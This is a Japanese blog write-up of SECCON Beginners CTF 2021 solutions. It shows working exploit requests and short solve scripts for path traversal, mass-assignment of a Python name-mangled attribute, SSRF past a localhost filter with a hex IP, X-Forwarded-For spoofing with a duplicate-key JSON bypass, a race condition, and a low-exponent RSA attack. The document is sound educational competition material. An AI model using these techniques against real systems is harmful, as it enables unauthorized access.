2021年5月22~23日にかけて開催された、SECCON Beginners CTF 2021 に参加しました。
今まで参加した中で一番短い参加時間だったかもしれないですが、せっかく参加したのでwriteupを書いておきます!
Beginners向けの取り組みやすい問題が多かった & 自明すぎる問題がなくてとても良い感じだった気がするので(全然見ていないジャンルもありますが)見なかった問題も後から復習したい(๑•̀ㅂ•́)و✧
welcome問合わせて9問解いて687点、229/943位でした。
ちょこちょこ空いた時間で取り組んだので、得点の低い問題が多いです。webは最後1問で時間切れ。
低得点問題中心なので、勢いに任せたスピード重視のwriteupで失礼します。
- [Web] osoba [Beginner]
- [Web] Werewolf [Easy]
- [Web] check_url [Easy]
- [Web] json [Medium]
- [Web] cant_use_db [Medium]
- [Crypto] simple_RSA [Beginner]
- [Reveersing] only_read
- [Reveersing] children [Easy]
- おわりに
[Web] osoba [Beginner]
美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります! https://osoba.quals.beginners.seccon.jp/
https://osoba.quals.beginners.seccon.jp/?page=xxx
で表示するページを制御しているようなので、ここにflagのpathを入れる。
https://osoba.quals.beginners.seccon.jp/?page=/flag
[Web] Werewolf [Easy]
I wish I could play as a werewolf...
占い的なゲームが始まります。
どうやらwerewolf
としてプレイできれば良さそう。
app.py
が配布されていました。
import os import random from flask import Flask, render_template, request, session # ==================== app = Flask(__name__) app.FLAG = os.getenv("CTF4B_FLAG") # ==================== class Player: def __init__(self): self.name = None self.color = None self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN']) # :-) # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF']) @property def role(self): return self.__role # :-) # @role.setter # def role(self, role): # self.__role = role # ==================== @app.route("/", methods=["GET", "POST"]) def index(): if request.method == 'GET': return render_template('index.html') if request.method == 'POST': player = Player() for k, v in request.form.items(): player.__dict__[k] = v return render_template('result.html', name=player.name, color=player.color, role=player.role, flag=app.FLAG if player.role == 'WEREWOLF' else '' ) # ==================== if __name__ == '__main__': app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
途中の
for k, v in request.form.items(): player.__dict__[k] = v
のところで、Playerのインスタンス変数が上書きされていそうだな、という事で、こんなリクエストをpostで送ってみました。
data = {'name': 'aaa', 'color': 'red', '__role': 'WEREWOLF'}
が、role
部分だけ書き換わらず。これは何か__
から始まる変数に対してはからくりがあるのか?と思いつつググってみるも、ぱっと情報が出てこず。(多分ググり方の問題)
テストとして、__dict__
で__role
がどのように扱われているかを見るために、こんなテストコードを書いてみました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import random class Player: def __init__(self): self.name = None self.color = None self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN']) # :-) # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF']) @property def role(self): return self.__role # :-) # @role.setter # def role(self, role): # self.__role = role player = Player() request = {'name': 'aaa', 'color': 'red', '__role': 'WEREWOLF'} for k, v in request.items(): player.__dict__[k] = v print(player.__dict__) print(player.name, player.color, player.role)
ほぼ配布されたコードと同じで、player.__dict__
を表示してみています。
実行結果
$ python test.py {'name': 'aaa', 'color': 'red', '_Player__role': 'VILLAGER', '__role': 'WEREWOLF'} aaa red VILLAGER
おや!_Player__role
となるのか。なるほど!
ということで、下記のコードを流すとflagがもらえました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests import json url = 'https://werewolf.quals.beginners.seccon.jp/' data = {'name': 'aaa', 'color': 'red', '_Player__role': 'WEREWOLF'} res = requests.post(url, data=data) print(res.text)
__dict__
の仕様の勉強になった。
[Web] check_url [Easy]
Have you ever used curl ?
index.php
が配布されます。
<!-- HTML Template --> <?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){ echo "Hi, Admin or SSSSRFer<br>"; echo "********************FLAG********************"; }else{ echo "Here, take this<br>"; $url = $_GET["url"]; if ($url !== "https://www.example.com"){ $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing } if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){ die("do not hack me!"); } echo "URL: ".$url."<br>"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); echo "<iframe srcdoc='"; curl_exec($ch); echo "' width='750' height='500'></iframe>"; curl_close($ch); } ?> <!-- HTML Template -->
まずは試してみようとhttps://google.com
を突っ込んでみるも、.
が👻に置き換えられてしまう。
$url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
これだ。。。
他、loaclhost
,apache
という文言が使えない。
どうやらlocalhostにつなげればflagを出してくれるっぽい。
ここでlocalhost
の他の表現方法を探してみると、こんな神ページが…。
127.0.0.1(localhost)を一番面白く表記できた奴が優勝 - Qiita
ありがとうございます!
しかもcurl
コマンドでの挙動確認済。
今回は "5. 0x7F000001" を使ってみました。
https://check-url.quals.beginners.seccon.jp/?url=http://0x7F000001:80
※httpなのでportを80にしてみた。
フラグゲット٩(๑❛ᴗ❛๑)尸
[Web] json [Medium]
外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
json.tar.gz
が配布されます。
指定のページに飛んでみると
Internal Website / 内部ページ このページはローカルネットワーク(192.168.111.0/24)内の端末からのみ閲覧できます。This page can only be viewed from a device within the local network(192.168.111.0/24).
あなたのIPアドレスは"xx.xx.xx.xx"です。Your IP adress is "xx.xx.xx.xx".
あなたはこのページを閲覧できません。You are not allowed to view this page.
なるほど。
picoCTF 2021のWho are you? でもやったように、リクエスト元のIPアドレスを偽装してみます。
$ curl https://json.quals.beginners.seccon.jp/ -H "X-Forwarded-For: 192.168.111.0"
レスポンス
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Internal Website / 内部ページ</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.2/css/bulma.min.css" /> </head> <body> <section class="section"> <div class="container"> <h1 class="title">Internal Website / 内部ページ</h1> <p class="subtitle mt-1"> You can get special information in this page. </p> <div class="field"> <label class="label">Select item</label> <div class="control"> <div class="select"> <select id="item"> <option>Quick brown fox</option> <option>Lorem ipsum</option> <option>Flag</option> </select> </div> </div> </div> <div class="field is-grouped"> <div class="control"> <button id="submit" class="button is-link">Submit</button> </div> </div> <div id="message"></div> </div> </section> <script> let submit = document.getElementById("submit"); let message = document.getElementById("message"); submit.addEventListener("click", (event) => { message.innerHTML = ""; let xhr = new XMLHttpRequest(); xhr.open("POST", "/"); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onload = () => { if (xhr.status === 200) { message.innerHTML = '<article class="message is-success"><div class="message-header"><p>Success</p></div><div class="message-body">' + JSON.parse(xhr.response).result + "</div></article>"; } else { message.innerHTML = '<article class="message is-danger"><div class="message-header"><p>Error</p></div><div class="message-body">' + JSON.parse(xhr.response).error + "</div></article>"; } }; data = JSON.stringify({ id: document.getElementById("item").selectedIndex, }); xhr.send(data); }); </script> </body> </html>
internalページが表示されました!
"Flag"を選択してsubmitすれば良さそう。
が、指定の仕方がわからない。配布されたコードを、ここで真面目に読んでみます。
json ├── api │ ├── Dockerfile │ ├── go.mod │ ├── go.sum │ └── main.go ├── bff │ ├── Dockerfile │ ├── go.mod │ ├── go.sum │ ├── main.go │ └── templates │ ├── error.tmpl │ └── index.html ├── docker-compose.yml └── nginx ├── Dockerfile └── default.conf
構成はこんな感じ。apiサーバーとbuffサーバーが建っています。
どうやら、リクエストはbuffの方に送られ、下記の条件を回避するとapiサーバーの方に送られるらしい。
if err != nil if err := json.Unmarshal(body, &info); err != ni if info.ID < 0 || info.ID > 2 if info.ID == 2
ここでFlagの{'id'=2}
を指定してしまうと、"It is forbidden to retrieve Flag from this BFF server." と言われてフラグがもらえません。
ここをすり抜けると http://api:8000
にpostしてもらえて、更に id=2
だったらflagがもらえる。
このムダに見える多階層のパターンは TOCTOU (Time of Check to Time of Use)のパターンかな?ということで、buffのときとapiのときとで評価する値がシャッフルされることを期待して、id
パラメータを2つ送っていみた。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests import json url = 'https://json.quals.beginners.seccon.jp/' headers = {'X-Forwarded-For': '192.168.111.0', \ 'Content-Type': 'application/json'} data = '{"id":2, "id":0}' res = requests.post(url, headers=headers, data=data) print(res.text)
実行結果
i$ python solve.py {"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}
やったね!
[Web] cant_use_db [Medium]
Can't use DB. I have so little money that I can't even buy the ingredients for ramen. 🍜 https://cant-use-db.quals.beginners.seccon.jp/
cant_use_db.tar.gz
が配布されます。
サイトを訪れてみるとこんな感じ。
現在の所持金 $20000
, 麺が $10000
でスープが $20000
、Flagをもらうには麺は2個以上、スープが1個以上必要…。ラーメン高すぎん?300万円でっせ…。
配布されたコードを見てみます。(app.py
)
なんと、データが全部ファイルで管理されてる!!!
購入する時の流れは
noodles += 1 open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles)) time.sleep(random.uniform(-0.2, 0.2) + 1.0) balance -= 10000 open(f"./users/{user_id}/balance.txt", "w").write(str(balance)) return "💸$10000"
こんな感じで、順序的には買った物の数を+1、何故か不自然なsleepの後、残金を書き換え得てreturn。
これは無駄なsleep時間を突いて、race condition狙えるのでは?ということで、時間もなかったので「💸$10000」のpopが出てくる前にNoodleを2回、Soupを1回ポチ。
...成功!
この状態でeat
(😋)を押すとFlagがもらえました!
[Crypto] simple_RSA [Beginner]
Let's encrypt it with RSA!
simple_RSA.tar.gz
が配布されます。
probrem.py
from Crypto.Util.number import * from flag import flag flag = bytes_to_long(flag.encode("utf-8")) p = getPrime(1024) q = getPrime(1024) n = p * q e = 3 assert 2046 < n.bit_length() assert 375 == flag.bit_length() print("n =", n) print("e =", e) print("c =", pow(flag, e, n))
ouput.txt
n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 e = 3 c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
eが極端に小さいので、Low Public Exponent Attack
が使えそう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import gmpy2 e = 3 c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613 m, result = gmpy2.iroot(c,e) if result: flag = bytes.fromhex(hex(m)[2:]).decode('ascii') print(flag)
[Reveersing] only_read
バイナリ読めなきゃやばいなり〜
chall
が配布されます。
ghidraに突っ込んでdecompileしてもらったらflagが書いてあった。
decompile結果から抜粋
if (((((((char)local_28 == 'c') && (local_28._1_1_ == 't')) && (local_28._2_1_ == 'f')) && (((local_28._3_1_ == '4' && (local_28._4_1_ == 'b')) && ((local_28._5_1_ == '{' && ((local_28._6_1_ == 'c' && (local_28._7_1_ == '0')))))))) && (((char)local_20 == 'n' && ((((((local_20._1_1_ == '5' && (local_20._2_1_ == 't')) && (local_20._3_1_ == '4')) && ((local_20._4_1_ == 'n' && (local_20._5_1_ == 't')))) && ((local_20._6_1_ == '_' && ((local_20._7_1_ == 'f' && ((char)local_18 == '0')))))) && (local_18._1_1_ == 'l')))))) && ((((local_18._2_1_ == 'd' && (local_18._3_1_ == '1')) && ((char)local_14 == 'n')) && ((local_14._1_1_ == 'g' && (local_12 == '}')))))) { puts("Correct");
この条件式にある文字を繋げばflag。
[Reveersing] children [Easy]
これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。
children
が配布されます。
実行すると
$ ./children I will generate 10 child processes. They also might generate additional child process. Please tell me each process id in order to identify them! Please give me my child pid!
こんな感じで発生した子プロセスのPIDを聞かれます。
$ ps a -o user,pid,ppid,tty,command
でプロセス一覧と、ppid(親プロセス)を表示し、対象のプロセスのPIDを取得します。
root 32574 3665 pts/0 ./children root 32575 32574 pts/0 [children] <defunct>
今回の実行時は32574
が親プロセスになっているので、これを親に持つプロセスIDの最新を毎回調査して答えていきます。
最後に
> How many children were born?
と聞かれるので、[children] <defunct>
となっているプロセスの数を数えてinputすればflagが出ました🙌
おわりに
久しぶりのリアルタイムCTF、ちょっとしか参加できなかったけどやっぱりただの復習・後追いとは違う楽しさが!ちょっと遠のいていたけど、またやりたいな、と思えるくらいの気力をいただきました。
運営・作問の方々、参加した方々、お疲れさまでした&ありがとうございました(◍•ᴗ•◍)ゝ